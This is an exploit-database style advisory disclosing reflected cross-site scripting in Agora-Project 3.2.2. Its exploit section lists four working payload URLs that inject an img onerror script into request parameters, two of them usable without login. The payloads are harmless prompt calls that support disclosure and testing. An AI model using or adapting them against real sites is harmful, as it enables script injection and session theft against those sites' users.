Agora-Project version 3.2.2 suffers from a cross site scripting vulnerability.
2309cf334cebeedf1ab232822960b709# Exploit Title: XSS Vulnerability on Agora-Project 3.2.2
# Google Dork: no
# Date: 23-02-2017
# Exploit Author: @rungga_reksya, @AdyWikradinata, @yokoacc
# Vendor Homepage: https://www.agora-project.net
# Software Link: https://www.agora-project.net/?ctrl=offline&action=download
# Software Link Mirror: https://jaist.dl.sourceforge.net/project/agora-project/agora_project_3.2.2.zip
# Version: 3.2.2
# Tested on: Windows Server 2012 Datacenter Evaluation
# CVE : no
I. Background:
Agora-Project is a workspace dedicated to collaboration and information exchange. Complete and intuitive, this tool is accessible via a simple web browser. Ideal for teamwork, it facilitate the exchange and creativity of a group around a common project, releasing the constraints of time and space.
Agora-Project is ideal for small structures such as associations, schools or SME, but is also suitable for larger organizations by allowing the establishment of subspaces.
II. Description
Vulnerability on CMS Agora is XSS
III. Exploit
No Login:
http://IP_Address/folder_agora_project_3.2.2/index.php?disconnect=1&msgNotif[]="><img src=x onerror=prompt(/XSS/)>
http://IP_Address/folder_agora_project_3.2.2/index.php?ctrl=misc&action="><img src=x onerror=prompt(/XSS/)>&editObjId="><img src=x onerror=prompt(/XSS/)>
Needed login:
http://IP_Address/folder_agora_project_3.2.2/index.php?ctrl=object&action="><img src=x onerror=prompt(/XSS/)>_id="><img src=x onerror=prompt(/XSS/)>
http://IP_Address/folder_agora_project_3.2.2/index.php?ctrl=file&targetObjId=fileFolder-2&targetObjIdChild="><img src=x onerror=prompt(/XSS/)>
IV. Thanks to
- Alloh SWT
- https://www.exploit-db.com/exploits/19329 (Chris Russell)
- MyBoboboy
- @AdyWikradinata, @yokoacc
- Komunitas IT Auditor & IT Security Kaskus
- Openbugbounty.org